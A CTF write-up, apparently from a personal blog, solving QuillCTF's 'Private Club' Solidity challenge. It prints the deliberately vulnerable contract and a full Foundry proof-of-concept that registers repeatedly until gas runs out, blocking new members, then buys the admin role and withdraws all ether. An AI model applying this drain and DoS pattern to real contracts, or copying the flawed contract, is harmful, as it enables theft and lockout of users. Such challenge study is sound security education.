Skip to main content

QuillCTF - Private Club

· 5 min read
Kaan Caglan

Private Club is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

1. Become a member of a private club.
2. Block future registrations.
3. Withdraw all Ether from the privateClub contract.

So we have 3 different objectives. First we need to become a member of club, second we need to DOS contract somehow and third we need to withdraw all ether from contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";

contract PrivateClub is ReentrancyGuard, Ownable {
uint private registerEndDate;
event setRegEndDate(uint registerEndDate);
event memberWithdrawevent(address member, address to, uint amount);
address[] public members_;
mapping(address => bool) public members;

receive() external payable {}

uint public membersCount;

function setRegisterEndDate(uint _newRegisterEndDate) external onlyOwner {
registerEndDate = _newRegisterEndDate;
emit setRegEndDate(registerEndDate);
}

function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}

modifier onlyMember() {
bool member;
for (uint i = 0; i < membersCount; i++) {
if (members_[i] == msg.sender) {
member = true;
}
}

require(member == true, "you are not a member");
_;
}

function adminWithdraw(address to, uint amount) external onlyOwner {
payable(to).call{value: amount}("");
}

function addMemberByAdmin(address newMember) external onlyOwner {
membersCount += 1;
members[newMember] = true;
members_.push(newMember);
}

function buyAdminRole(address newAdmin) external payable onlyMember {
require(msg.value == 10 ether, "need 10 ethers");
_transferOwnership(newAdmin);
}
}

If we take a look to the setup contract it can be seen that vm.deal(hacker, 10 ether); hacker has 10 ether already so it means we can call buyAdminRole with 10 ether and withdraw all balance from contract with the function adminWithdraw. We can also see that becoming a club member is not that hard if we have enough money. We can call becomeMember function with enough ethers to be a member. We just need to figure it out how can we DOS the contract.

    function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}

It can be seen that on the becomeMember function we need to give a list _members which is equal to the global membersCount so it can't be bypassed. And function is increasing that membersCount in every run. So it means this function must call _members[i].call{value: 1 ether}(""); this statement incrementing by 1 each time. Since .call is a gas consuming operation if we call this function couple of times, this function will revert due to out of gas.

POC

  • Hacker calls becomeMember function with giving enough time of hacker value inside the _members array
  • That function will give back the given ethers in loop, since array is full of hacker it will return them all
  • Keep calling becomeMember with given gas limit blockGasLimit until it reverts
  • When it reverts break the loop and call the buyAdminRole with 10 ether and right after that call adminWithdraw.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/PrivateClub.sol";

contract Hack is Test {
address[] public members_;
PrivateClub club;

address clubAdmin = makeAddr("clubAdmin");
address adminFriend = makeAddr("adminFriend");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
address hacker = makeAddr("hacker");
uint blockGasLimit = 120000;

function setUp() public {
vm.deal(clubAdmin, 100 ether);
vm.deal(hacker, 10 ether);
vm.deal(user2, 10 ether);
vm.deal(user3, 10 ether);
vm.deal(user4, 10 ether);
vm.startPrank(clubAdmin);
club = new PrivateClub();
club.setRegisterEndDate(block.timestamp + 5 days);
club.addMemberByAdmin(adminFriend);
address(club).call{value: 100 ether}("");
vm.stopPrank();
vm.startPrank(user2);
address[] memory mForUser2 = new address[](1);
mForUser2[0] = adminFriend;
club.becomeMember{value: 1 ether}(mForUser2);
vm.stopPrank();
vm.startPrank(user3);
address[] memory mForUser3 = new address[](2);
mForUser3[0] = adminFriend;
mForUser3[1] = user2;
club.becomeMember{value: 2 ether}(mForUser3);
vm.stopPrank();
}

function test_attack() public {
vm.startPrank(hacker);
// task1: become member of the club and
// block future registrations (reason: out of gas - block gas limit)
// solution:

uint membersCount = club.membersCount();
for(uint i = 0; i < membersCount; ++i){
members_.push(hacker);
}

while(true){
(bool success, bytes memory ret) = address(club).call{value: members_.length * 1 ether, gas: blockGasLimit}(
abi.encodeWithSignature(
"becomeMember(address[])", members_
)
);
if(!success){
break;
}

membersCount = club.membersCount();
for(uint i = members_.length; i < membersCount; ++i){
members_.push(hacker);
}

}


vm.stopPrank();
// check - hacker is member
assertTrue(club.members(hacker));


// check - user4 can not become member - blockGasLimit
vm.startPrank(user4);
address[] memory mForUser4 = new address[](club.membersCount());
for (uint i = 0; i < club.membersCount(); i++) {
mForUser4[i] = club.members_(i);
}
uint etherAmount = mForUser4.length * 1 ether;
uint gasleftbeforeTxStart = gasleft();
club.becomeMember{value: etherAmount}(mForUser4);
uint gasleftAfterTxStart = gasleft();

assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit);
vm.stopPrank();


vm.startPrank(hacker);
// task2: buy admin role and withdraw all ether from the club
// solution:

club.buyAdminRole{value: 10 ether}(hacker);
club.adminWithdraw(hacker, address(club).balance);
// check - hacker is owner of club
assertEq(club.owner(), hacker);
assertGt(hacker.balance, 110000000000000000000 - 1);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.7
[] Solc 0.8.7 finished in 4.74s
Compiler run successful

Running 1 test for test/PrivateClub.t.sol:Hack
[PASS] test_attack() (gas: 1179280)
Test result: ok. 1 passed; 0 failed; finished in 2.81ms